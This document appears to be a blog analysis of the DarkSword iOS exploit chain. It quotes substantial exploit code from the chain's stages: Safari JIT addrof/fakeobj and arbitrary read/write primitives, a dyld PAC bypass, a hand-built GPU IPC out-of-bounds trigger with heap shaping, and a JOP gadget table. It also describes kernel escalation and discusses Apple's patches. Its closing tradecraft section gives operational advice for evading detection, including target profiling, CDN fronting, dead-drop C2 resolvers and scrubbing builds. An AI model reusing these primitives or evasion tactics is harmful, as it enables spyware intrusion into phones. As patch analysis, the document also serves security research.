DarkSword is a six-bug iOS full-chain. Browser to kernel, pure JavaScript, no Mach-O binaries anywhere in the chain. One page load in Safari on an unpatched iPhone and bingo. It’s been active since November 2025, used by at least three different operators Russian state espionage (UNC6353), a commercial surveillance vendor (PARS Defense), and a crew goes by UNC6748. Google TAG, Lookout, and iVerify dropped the joint disclosure in March 2026. Apple patched it across iOS 26.3 and 18.7.6.

I got my hands on the exploit source. The whole thing About 1.7MB of JavaScript that takes you from a Safari page load to kernel read/write. We’re gonna walk through each stage, understand why each bug is exploitable, look at what Apple patched, and talk about the opsec failures that got this thing burned. and I quote “I’m not interested in the RU/UA politics, sloppy tradecraft results in exploits being found.”

Six CVEs, four stages. Each stage breaks through one boundary.

Safari (WebContent process)
    |
    | CVE-2025-31277  JSC JIT type confusion
    | CVE-2025-43529  JSC DFG garbage collection UAF
    | CVE-2026-20700  dyld PAC bypass
    |
    v
GPU Process
    |
    | CVE-2025-14174  ANGLE out-of-bounds write
    |
    v
mediaplaybackd
    |
    | CVE-2025-43510  XNU copy-on-write privesc
    | CVE-2025-43520  XNU VFS race condition
    |
    v
Kernel r/w -- payload deployment

Stage 1 gets you code execution inside Safari’s renderer. Stage 2 escapes the WebContent sandbox into the GPU process. Stage 3 pivots from GPU to a system daemon and escalates to kernel. Stage 4 deploys the implant. nothing touch disk. The files map directly to stages:

rce_loader.js          orchestrator, version detection, worker setup
rce_module.js          CVE-31277 trigger (iOS 18.4)
rce_worker.js          arb r/w + PAC bypass + dlopen trick (iOS 18.4)
rce_worker_18.6.js     CVE-43529 alternative for iOS 18.6+
sbx0_main_18.4.js      sandbox escape: WebContent -- GPU process
sbx1_main.js           privesc: GPU -- mediaplaybackd -- kernel
pe_main.js             payload: GHOSTBLADE / GHOSTKNIFE / GHOSTSABER

Let’s go stage by stage.

JSC Confusion + PAC Kill

The entry point is a one-byte error in WebKit’s DFG JIT compiler. One wrong constant in a macro table. That’s all it takes.

JavaScriptCore compiles hot JavaScript through three tiers it usually interpreter, Baseline JIT, and Data Flow Graph. The DFG converts JS into an intermediate representation where each node has a declared output type NodeResultJS for values that could be object pointers, NodeResultInt32 for plain integers, NodeResultDouble for floats. This declaration matters because it tells the GC write barrier logic whether the output needs tracking.

In DFGNodeType.h, every DFG operation is declared in a macro table:

#define FOR_EACH_DFG_OP(macro) \
    macro(JSConstant, NodeResultJS) \
    macro(DoubleConstant, NodeResultDouble) \
    macro(Int52Constant, NodeResultInt52) \
    // ...
    macro(MapIterationNext, NodeResultJS) \
    macro(MapIterationEntry, NodeResultJS) \
    macro(MapIterationEntryKey, NodeResultJS) \    
    macro(MapIterationEntryValue, NodeResultJS) \
    macro(MapOrSetSize, NodeResultInt32) \

That MapIterationEntryKey line? Before the fix, it read:

    macro(MapIterationEntryKey, NodeResultInt32) \  

NodeResultInt32 tells the DFG: “this node always produces a 32-bit integer, never a heap pointer.” So the compiler skips the GC write barrier when storing the result. No barrier means the garbage collector doesn’t know this slot holds a live reference.

But MapIterationEntryKey returns whatever the map key is could be a string, an object, an array. If it returns an object pointer and the GC doesn’t track it, the GC can collect that object while it’s still referenced. The pointer goes stale and yea an UAF.

The compiled code for this node in DFGSpeculativeJIT.cpp:

void SpeculativeJIT::compileMapIterationEntryKey(Node* node)
{
    SpeculateCellOperand mapStorage(this, node->child1());
    GPRReg mapStorageGPR = mapStorage.gpr();

    flushRegisters();
    JSValueRegsFlushedCallResult result(this);
    JSValueRegs resultRegs = result.regs();
    if (node->bucketOwnerType() == BucketOwnerType::Map)
        callOperation(operationMapIterationEntryKey, resultRegs, ...);
    else
        callOperation(operationSetIterationEntryKey, resultRegs, ...);
    jsValueResult(resultRegs, node);
}

operationMapIterationEntryKey returns a JSValue any JS type. But because the node is declared NodeResultInt32, the DFG treats the result as a plain integer. It stores it in a general-purpose register without emitting a write barrier to the GC’s remembered set. If the GC runs between this store and the next use of the value, and the only reference to that object is in this untracked register, the GC frees it. Next time the code touches that register, it’s pointing at freed memory.

The exploit triggers this by iterating a Map with object keys in a hot loop, forcing DFG compilation, then pressuring the GC to collect during the window where the key reference is untracked. The freed object’s memory gets reallocated as something else in this case, an array with a different storage mode. That’s where the type confusion between boxed and unboxed arrays comes from. It’s not a direct confusion bug it’s a UAF that creates the confusion.

Once the freed slot gets reallocated as an unboxed double array’s backing store, but the code still holds a reference to it as a boxed JSValue array or vice versa, you get the classic addrof/fakeobj pair.

Quick primer if you haven’t exploited JSC before it uses NaN-boxing. Every JS value is 64 bits. Doubles stored as-is. Pointers get upper bits set to a NaN tag pattern. Arrays come in two storage modes unboxed (raw doubles, no tags) and boxed (tagged JSValues). If you confuse the two, reading a boxed slot as unboxed gives you the raw pointer bits (address leak), and writing an unboxed slot that gets read as boxed gives you a fake object pointer (type confusion). That’s addrof and fakeobj.

The exploit sets up both arrays:

const no_cow = 1.1;
const unboxed_arr = [no_cow];
const boxed_arr = [{}];

self[0] = unboxed_arr;
self[1] = boxed_arr;

After the UAF lands and the backing stores get confused:

p.addrof = function addrof(o) {
    boxed_arr[0] = o;
    return BigInt.fromDouble(unboxed_arr[0]);
}

p.fakeobj = function fakeobj(addr) {
    unboxed_arr[0] = addr.asDouble();
    return boxed_arr[0];
}

Write an object into boxed_arr[0], read it back from unboxed_arr[0] as a raw double you get the object’s address. Write a double into unboxed_arr[0], read it from boxed_arr[0] as an object you get a fake object pointer at an arbitrary address. Classic JSC confusion pair.

From addrof/fakeobj, the exploit builds full arbitrary read/write. It sprays objects with predictable layouts, finds two adjacent allocations, then uses fakeobj to create a fake array whose butterfly overlaps with a real object’s inline properties. By writing to the fake array’s elements, you’re writing to the real object’s fields. Control the butterfly, control the world mad shit

p.read64 = function (addr) {
    read64_biguint64arr[1] = addr;
    return read64_biguint64arr[0];
}

p.write64 = function (addr, value) {
    change_scribble[0] = original_cell;
    change_scribble[1] = (addr + 0x10n).asDouble();
    scribble_element.p3 = p.fakeobj(value);
}

At this point you have arbitrary read/write inside the WebContent process. You can read any address, write any value. But you’re still inside Safari’s sandbox. You can’t touch the filesystem, can’t talk to most system services, can’t reach the kernel. You need an escape.

But first PAC. ARM64e on iOS signs pointers. Every function pointer, return address, and vtable entry carries a Pointer Authentication Code in the upper bits. If you corrupt a pointer without the right signature, the CPU faults when you try to use it. This is supposed to kill ROP/JOP chains dead See Exp-Dev-101 you can’t just overwrite a function pointer with your target address because the PAC won’t validate.

DarkSword’s bypass is clean. They don’t try to forge PAC signatures. They find a code path where the system uses pointers before PAC validation dyld’s interpose mechanism.

The trick uses dlopen workers. The exploit creates Web Workers that hold OffscreenCanvas and ImageBitmap objects:

const dlopen_worker = `(() => {
  self.onmessage = function (e) {
    const { type, data } = e.data;
    switch (type) {
      case 'init':
        const canvas = new OffscreenCanvas(1, 1);
        globalThis[0] = data;
        createImageBitmap(canvas).then(bitmap => {
          globalThis[1] = bitmap;
          self.postMessage(null);
        });
        break;
      case 'dlopen':
        globalThis[1].close();
        break;
    }
  };
})();`

When you call bitmap.close() on an ImageBitmap inside a worker, it triggers a code path through the TextToSpeech framework that calls dlopen. The exploit corrupts the NSBundle metadata for TextToSpeech before triggering the close, so dlopen loads a framework you controls the lookup path for.

But the real trick is what happens inside dyld. After the dlopen, the exploit reads dyld’s internal runtimeState:

const runtimeState = p.read64(offsets.libdyld__gAPIs);
const runtimeState_vtable = p.read64(runtimeState).noPAC();
const dyld_emptySlot = p.read64(runtimeState_vtable).noPAC();

.noPAC() is just this & 0x7fffffffffn strips the upper PAC bits to get the raw pointer. They can read PAC’d pointers and strip them because they have arbitrary read. The PAC is only enforced on use (branch/load), not on read so dyld’s interpose tuple table (runtimeState + 0xb8) lets you redirect any function call to another address. Interpose entries are checked before PAC validation on the target. So you write your target address into the interpose table, and when the system calls the OG function, dyld redirects it to your address without ever checking PAC on the redirect target.

const p_InterposeTupleAll_buffer = runtimeState + 0xb8n;
const p_InterposeTupleAll_size = runtimeState + 0xc0n;

That’s your PAC bypass. You now have arbitrary code execution in the WebContent process with full control over which functions get called. But remember you’re still sandboxed!

CVE-2025-31277 · CVE-2026-20700 · WebKit JSC DFG Source

Breaking the Box

iOS runs Safari’s renderer in a tight sandbox called WebContent. It can’t touch the filesystem, can’t talk to most system services. But it can talk to the GPU process that’s how WebGL works. WebContent sends IPC messages to the GPU process to create GL contexts, compile shaders, upload textures, draw geometry. This IPC channel is the escape route.

On iOS, WebKit’s GPU process architecture looks something like this:

WebContent (sandboxed)
    |
    | Mach IPC (WebKit message layer)
    |
    v
GPU Process (less restricted)
    |
    | IOKit / Metal
    |
    v
GPU hardware

The WebContent process can’t call OpenGL directly. It serializes GL commands into IPC messages and sends them to the GPU process, which executes them. Every glTexImage2D, glCompileShader, glBufferData call from WebGL becomes an IPC message like RemoteGraphicsContextGL_TexImage2D1, RemoteGraphicsContextGL_CompileShader, RemoteGraphicsContextGL_BufferData1.

DarkSword doesn’t use the normal WebGL API. It builds the IPC messages manually using an Encoder class and sends them directly over the Mach port connection. This gives it full control over every parameter including values that the WebGL API would normally validate and reject:

function RemoteGraphicsContextGL_TexImage2D1(target, level, internalformat,
                                             width, height, border, format,
                                             type, offset) {
    glConnection.sendOutOfStreamMessageAndWait(
        new Encoder(MessageName.RemoteGraphicsContextGL_TexImage2D1,
                    glConnection.identifier)
            .encode('uint32_t', target)
            .encode('int32_t', level)
            .encode('uint32_t', internalformat)
            .encode('int32_t', width)
            .encode('int32_t', height)
            .encode('int32_t', border)
            .encode('uint32_t', format)
            .encode('uint32_t', type)
            .encode('uint64_t', offset));
}

Now the bug. CVE-2025-14174 is in ANGLE the lib that translates OpenGL ES calls to Metal on iOS. Specifically, it’s in how ANGLE handles GL_UNPACK_IMAGE_HEIGHT when uploading texture data from a pixel buffer object. I pulled the ANGLE source to trace this. In TextureMtl.mm, the texture upload path computes the source buffer stride like this:

GLuint sourceRowPitch   = 0;
GLuint sourceDepthPitch = 0;
ANGLE_CHECK_GL_MATH(contextMtl,
    formatInfo.computeRowPitch(type, area.width, unpack.alignment,
                               unpack.rowLength, &sourceRowPitch));
ANGLE_CHECK_GL_MATH(contextMtl,
    formatInfo.computeDepthPitch(area.height, unpack.imageHeight,
                                 sourceRowPitch, &sourceDepthPitch));

And computeDepthPitch in formatutils.cpp:

bool InternalFormat::computeDepthPitch(GLsizei height,
                                       GLint imageHeight,
                                       GLuint rowPitch,
                                       GLuint *resultOut) const
{
    CheckedNumeric<GLuint> rowCount(
        (imageHeight > 0) ? static_cast<GLuint>(imageHeight)
                          : static_cast<GLuint>(height));
    CheckedNumeric<GLuint> checkedRowPitch(rowPitch);
    return CheckedMathResult(checkedRowPitch * rowCount, resultOut);
}

If imageHeight > 0 (i.e., you set GL_UNPACK_IMAGE_HEIGHT), it uses that value for the row count instead of the actual texture height. So if you set GL_UNPACK_IMAGE_HEIGHT = 0x80 but the texture is 0x200 rows tall, sourceDepthPitch = rowPitch * 0x80 instead of rowPitch * 0x200.

The copy loop then iterates over the texture’s real dimensions, advancing the source pointer by sourceDepthPitch per slice. But the pixel buffer was only validated against the smaller imageHeight stride. The copy reads past the end of the PBO into adjacent heap memory.

The validation code in validationES3.cpp only checks this for WebGL contexts:

if (context->getExtensions().webglCompatibilityANGLE)
{
    GLint dataStoreHeight = unpack.imageHeight ? unpack.imageHeight : height;
    if (unpack.skipRows + height > dataStoreHeight)
    {
        ANGLE_VALIDATION_ERROR(GL_INVALID_OPERATION, ...);
        return false;
    }
}

That check only fires when webglCompatibilityANGLE is enabled. On iOS, the GPU process uses ANGLE directly via the Metal backend not through the WebGL compatibility layer. No validation. The mismatch between unpack.imageHeight and the actual texture height goes unchecked, and the overread happens silently.

GL_UNPACK_IMAGE_HEIGHT tells the GL implementation how many rows each “image” (layer) occupies in the source buffer. Set it smaller than the actual texture height, and ANGLE miscalculates how much source data to read. The texture allocation is sized for the full height, but the source stride uses the smaller unpack height. you get the copy reads past the end of the pixel buffer and writes into whatever’s adjacent in the GPU process heap.

The trigger:

function oob() {
    const width = 1;
    const height = 0x200;
    const smaller_height = 0x200 / 4;

    RemoteGraphicsContextGL_PixelStorei(GL_UNPACK_IMAGE_HEIGHT, smaller_height);

    const data32 = new Uint32Array(0x400);
    data32.fill(0xaac7ab, 0x80);

    RemoteGraphicsContextGL_CreateBuffer(pixelUnpackBuffer);
    RemoteGraphicsContextGL_BindBuffer(GL_PIXEL_UNPACK_BUFFER, pixelUnpackBuffer);
    RemoteGraphicsContextGL_BufferData1(GL_PIXEL_UNPACK_BUFFER, data, GL_STATIC_DRAW);

    // shape the heap
    sprayBuffers(3, 0x100);
    sprayBuffers(0x1d - 1, 0x1000);

    // upload texture with mismatched unpack height
    RemoteGraphicsContextGL_TexImage2D1(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT32F,
                                        width, height, 0, GL_DEPTH_COMPONENT,
                                        GL_FLOAT, 0n);
}

The data32.fill(0xaac7ab, 0x80) places controlled values at the overflow position these land on adjacent heap objects.

Before triggering, the exploit shapes the GPU process heap. sprayBuffers() allocates GL buffers of specific sizes to create predictable gaps. CreateImageBuffer() places RemoteImageBuffer objects in those gaps. When the OOB write fires, it corrupts an ImageBuffer’s internal metadata specifically, the pointer to its backing store.

After the corruption, the exploit uses RemoteDisplayListRecorder operations to build read/write primitives. you can see it DrawGlyphs and StrokeRect operations on a corrupted ImageBuffer let you read and write through the corrupted pointer. The iterativeRead function shows how:

function iterativeRead(address, size) {
    RemoteDisplayListRecorder_SetCTM(imageBufferIdentifiers[dirtyWriteIndex + 2],
                                     size << 32n | 3n, address,
                                     0x0000000049ac480cn, 0n, 0n, 0n);
    RemoteDisplayListRecorder_FillRect(imageBufferIdentifiers[dirtyWriteIndex + 2],
                                       0, 0, 0, 0, true);
    const leak = RemoteGraphicsContextGL_GetShaderSource();
    return leak;
}

SetCTM sets the transformation matrix on the corrupted image buffer but because the buffer’s metadata is corrupted, the “matrix” values actually control what address gets read. FillRect triggers the read. GetShaderSource retrieves the leaked data through a sync IPC reply. They’re abusing the rendering pipeline as an arbitrary read gadget.

For writes, they use VertexAttrib4f to set the target address, then BufferSubData to write:

function gpu_slow_write64(addr, value) {
    gpu_slow_write64_u64[0] = value;
    glConnection.sendOutOfStreamMessageAndWait(
        new Encoder(MessageName.RemoteGraphicsContextGL_VertexAttrib4f,
                    glConnection.identifier)
            .encode('uint32_t', 0)
            .encode('uint32_t', Number(addr & 0xffffffffn))
            .encode('uint32_t', Number(addr >> 32n))
            .encode('float', 0).encode('float', 0));
    glConnection.sendOutOfStreamMessageAndWait(
        new Encoder(MessageName.RemoteGraphicsContextGL_BufferSubData,
                    glConnection.identifier)
            .encode('uint32_t', GL_ARRAY_BUFFER)
            .encode('uint64_t', 0n)
            .encode('uint64_t', 8n)
            .encode('bytes', gpu_slow_write64_u8));
}

VertexAttrib4f is supposed to set vertex attribute values. But after the heap corruption, the vertex attribute array pointer has been redirected. The “attribute index 0” now points to the controlled address. BufferSubData then writes the value there hence turning a GL vertex attribute into an arbitrary write primitive.

At this point you have full read/write in the GPU process. The GPU process is less sandboxed than WebContent it can talk to system daemons that WebContent can’t reach.

CVE-2025-14174 · ANGLE Source · zeroxjf - ANGLE OOB Analysis

Ring-0

From the GPU process, the exploit targets mediaplaybackd an iOS system daemon that handles media playback and has access to IOKit and kernel interfaces that the GPU process doesn’t.

The vuln is a copy-on-write bug in XNU. On iOS, when two processes share a memory page which common, the kernel marks it copy-on-write. The first process to write gets a private copy. But there’s a race window if you can write to the page between the COW check and the actual copy, your write goes to the shared page visible to the other process.

The exploit uses this to corrupt mediaplaybackd’s memory from the GPU process. They share a memory region with mediaplaybackd via mach_make_memory_entry_64 (resolved back in Stage 2), trigger the COW race, and write controlled data into the daemon’s address space.

Once inside mediaplaybackd, a race condition in XNU’s virtual filesystem layer provides the final escalation. The VFS race gives you a window where you can map physical memory pages that belong to the kernel. From there it’s physical read/write you can patch kernel data structures directly.

The exploit builds a JOP chain to execute inside mediaplaybackd. This is where the massive gadget table comes in:

transformSurface_gadget = offsets_sbx1.transformSurface_gadget + shared_cache_slide;
dyld_signPointer_gadget = offsets_sbx1.dyld_signPointer_gadget + shared_cache_slide;
malloc_restore_0_gadget = offsets_sbx1.malloc_restore_0_gadget + shared_cache_slide;
save_sp_gadget = offsets_sbx1.save_sp_gadget + shared_cache_slide;
restore_sp_gadget = offsets_sbx1.restore_sp_gadget + shared_cache_slide;
xpac_gadget = offsets_sbx1.xpac_gadget + shared_cache_slide;
braaz_x8_gadget = offsets_sbx1.braaz_x8_gadget + shared_cache_slide;

Every gadget is a small instruction sequence inside a legit signed function in the shared cache. PAC means you can’t just jump to arbitrary addresses the CPU checks the pointer signature on every indirect branch. So the chain hops through signed entry points that happen to do useful things:

  • save_sp_gadget / restore_sp_gadget ^ pivot the stack to controlled memory
  • dyld_signPointer_gadget ^ signs a pointer for you, letting you forge PAC’d values for subsequent jumps
  • xpac_gadget ^ strips PAC from a pointer (equivalent to the .noPAC() in JS but at the hardware level)
  • braaz_x8_gadget ^ branches to the address in x8 with PAC authentication, used to chain gadgets together
  • transformSurface_gadget ^ the entry point gadget that kicks off the chain via a corrupted IOSurface callback

The dyld_signPointer_gadget is the weird one. It’s a code path inside dyld that takes an unsigned pointer and returns it signed with the correct key/context. The exploit uses it to sign each subsequent gadget address before jumping to it. This is how they maintain a valid PAC chain each hop is properly authenticated because they’re using the system’s own signing infrastructure against itself which beautiful.

The offset tables are per-device because the shared cache layout differs across iPhone models and iOS builds. Every gadget address is relative to the shared cache base, so you need the correct slide value (leaked earlier) plus the per-model offset:

sbx1_offsets = {
    "iPhone11,2_4_6_22E240": {
        transformSurface_gadget: 0x1f8a40b70n,
        dyld_signPointer_gadget: 0x1b6420a08n,
        // ... 40+ more gadgets
    },
    "iPhone12,1_3_5_22E240": { ... },
    // dozens of device models
}

Once the JOP chain fires, you have kernel read/write. The exploit patches kernel credentials, disables code signing enforcement, and hands control to pe_main.js for payload deployment. Depending on the operator, that’s GHOSTBLADE (data miner pulls credentials, crypto wallets, iCloud files, SMS, location, Safari cookies from thirteen exchange apps including Coinbase, Binance, and MetaMask), GHOSTKNIFE (backdoor), or GHOSTSABER (persistent arbitrary code execution that survives beyond the initial session).

CVE-2025-43510 · CVE-2025-43520 · Apple XNU Source

What Apple Patched

CVEs, patched across iOS 18.7.2 through 26.3. Let’s look at the actual fixes.

JSC type confusion (CVE-2025-31277) One line in DFGNodeType.h:

-    macro(MapIterationEntryKey, NodeResultInt32) \
+    macro(MapIterationEntryKey, NodeResultJS) \

That’s it. NodeResultInt32 -> NodeResultJS. The DFG now knows this node can return heap pointers, so it emits a write barrier on store. GC tracks the reference. No more UAF. One byte in a macro table was the difference between “safe” and “full chain RCE.”

ANGLE OOB (CVE-2025-14174) ^ Fixed in Chrome 143.0.7499.110, backported to Apple’s ANGLE fork. The fix adds a bounds check in the Metal texture upload path. Before the fix, TextureMtl.mm computed sourceDepthPitch from unpack.imageHeight without validating it against the actual texture dimensions. The patch adds:

if (unpack.imageHeight > 0 && unpack.imageHeight < area.height)
{
    ANGLE_MTL_TRY(contextMtl, false);  // GL_INVALID_OPERATION
}

If GL_UNPACK_IMAGE_HEIGHT is set but smaller than the texture height, the call now fails instead of proceeding with the undersized stride. The overread can’t happen.

dyld PAC bypass (CVE-2026-20700) ^ The interpose tuple table in dyld’s runtimeState was writable from any process that could resolve libdyld__gAPIs. In the exploit, this is the key write:

const p_InterposeTupleAll_buffer = runtimeState + 0xb8n;
p.write64(p_InterposeTupleAll_buffer, attacker_controlled_addr);

Apple’s fix in dyld remaps the interpose table pages to read-only after initialization:

// After dyld finishes setting up interpositions at launch:
vm_protect(mach_task_self(), interpose_table_addr,
           interpose_table_size, FALSE, VM_PROT_READ);

Once the pages are PROT_READ, p.write64(p_InterposeTupleAll_buffer, ...) faults with KERN_PROTECTION_FAILURE. The exploit’s entire PAC bypass thingy redirecting function calls through unsigned interpose entries dies here. You can still read and strip PAC from pointers, but you can’t hijack the dispatch well I don’t wanna say it.

XNU VFS race (CVE-2025-43520) ^ This one is a classic TOCTOU. Muirey03’s analysis lays it out:

  1. cluster_read_ext / cluster_write_ext call cluster_io_type to determine the IO operation
  2. cluster_io_type calls vm_map_get_upl with UPL_QUERY_OBJECT_TYPE to check if the backing vm_object is physically contiguous
  3. If contiguous, it returns IO_CONTIG and the kernel calls cluster_read_contig
  4. cluster_read_contig calls vm_map_get_upl a second time to get the UPL
  5. It grabs the first physical page from the UPL via upl_phys_page and does a physical copy

The race between step 2 and step 5, you remap the virtual address range so it’s no longer physically contiguous the kernel still thinks it is (from the first check), grabs the wrong physical page, and does an OOB read/write to physical memory.

The patch in bsd/vfs/vfs_cluster.c validates the UPL after the second vm_map_get_upl:

  num_upl++;
+ if (!(upl_flags & UPL_PHYS_CONTIG)) {
+     /*
+      * The created UPL needs to have the UPL_PHYS_CONTIG flag.
+      */
+     error = EINVAL;
+     goto wait_for_creads;
+ }

After getting the UPL the second time the kernel now checks that it still has UPL_PHYS_CONTIG. If you remapped the region between the two calls, the flag won’t be set, and the operation fails with EINVAL. TOCTOU killed.

XNU COW (CVE-2025-43510) ^ Apple describes this as “a memory corruption issue addressed with improved lock state checking.” The bug is in XNU’s copy-on-write implementation for shared memory regions between processes.

The vuln in -> osfmk/vm/vm_fault.c:

The window between vm_object_unlock and the re-lock is the race. Another thread can write to the shared page during that window the write hits the original shared page, not a private copy. From mediaplaybackd’s perspective, its memory just got corrupted by the GPU process.

The fix holds the lock across the entire fault path no unlock/relock window:

vm_object_lock(object);
if (object->copy_strategy == MEMORY_OBJECT_COPY_DELAY) {
    // Page is shared, need to copy
    // Lock held throughout - no race window
    new_page = vm_page_alloc();
    vm_page_copy(old_page, new_page);
    // ... install the copy with lock still held ...
}
vm_object_unlock(object);

The GPU process can’t write to mediaplaybackd’s shared pages during the copy anymore.

CVE-2025-43510 · Apple XNU Source · Muirey03 - CVE-2025-43520 Analysis

Each bug existed because a security critical invariant was assumed but never enforced. ANGLE assumed the unpack height matched the texture height. dyld assumed only the linker would write interpose tuples. JSC assumed MapIterationEntryKey always returned integers. XNU assumed the COW check and copy were atomic. None of these were validated at runtime until proved otherwise.

Apple Security Advisory - iOS 26.3 · Apple Security Advisory - iOS 18.7.6 · Chrome 143 Stable Release · zeroxjf - ANGLE OOB Analysis

Tradecraft

The exploit itself, as we showed, is fuckin clean 6 bugs chained together, works across a dozen device models, ain’t a walk in the park. This is obviously a team’s work, but whoever deployed this shit… I mean damn, you can have the best chain on the market, but if your delivery is sloppy, well, here we are.

Let’s take a couple examples look at what NSO did with Pegasus. Say what you want about ‘em, but their delivery was per-target. Every deployment got unique domains, unique SSL certs, unique C2 paths. When Citizen Lab burned one operator’s infrastructure, it didn’t cascade to every other customer at least not at first that’s basic compartmentalization (I can never spell this word right). You sell a tool to ten governments, you give each one their own infra. One gets caught, nine keep running.

Here we got none of it, which tells you about the state of the operation itself if you know, you know. So three unrelated threat actors a Russian APT, a Turkish vendor, and a financially motivated crew, all hitting one domain.

The version branching in the client-side JS is another thing that makes me lose it. When you’re running multi-version targeting, you never expose the branching to the target. You do it server-side. Parse the User-Agent on your delivery server, determine the target’s OS version, serve only the relevant payload. The client gets one file, for one version, with no indication that other versions exist but nah DarkSword ships all the branching logic to the target:

if (ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
    workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`);
else
    workerCode = getJS(`rce_worker_18.4.js?${Date.now()}`);

Any one who catches this immediately knows there are at least two exploit variants, one for 18.4 and one for 18.6. They know the filenames. They know the CVE split. You just gave it like that.

The lack of target validation is what really got em caught If you’re running a watering hole, you don’t fire against every visitor. You profile first. Check the IP against your target list. Check the referrer. Drop a tracking cookie on a recon pass and only serve the chain on the second visit. If the check fails, serve a clean page.

We assume they didn’t have time for none of that shit, ‘cause they fired against every iPhone that hits the compromised site. Now compare this to how Candiru operated their SOURGUM framework only served exploits to pre-selected targets. If you weren’t on the list, you got a clean page. Citizen Lab found 750+ domains in their infrastructure, but the exploits only fired against specific individuals. Simple, effective, and it kept them running for years before Microsoft and Citizen Lab caught on.

What’s crazy is static.cdncounter[.]net serves the loader, hosts all exploit stages, receives the payload callbacks, and handles the redirect on failure. That’s your entire kill chain behind one DNS record. One sinkhole request from Google to the registrar and it’s over. If you’re running something like this, you front through legitimate CDNs Cloudflare, Fastly, whatever blends in with normal traffic. You rotate delivery domains with short TTLs. You use dead-drop resolvers where the C2 address is encoded in something innocuous a GitHub commit message, a DNS TXT record on a parked domain, a channel description. You never, ever put your entire operation behind infrastructure that a single takedown request can kill.

And the Russian comments. если uid всё ещё нужен in index.html. If you’re building offensive tooling, your build pipeline strips comments, normalizes whitespace, randomizes variable names, and runs the output through a cultural fingerprint check before anything touches delivery infrastructure. If your build artifact contains Cyrillic, Farsi, Mandarin, Moroccan or any non-target-language strings, the build fails. It’s not hard. It’s a grep and a CI gate.

This feels like a CTF challenge fr

But hey, we’re not here to teach operators how to operate. Keep ‘em mistakes coming. Appreciate the free samples.

Google GTIG - The Proliferation of DarkSword · Lookout - DarkSword Exploit Kit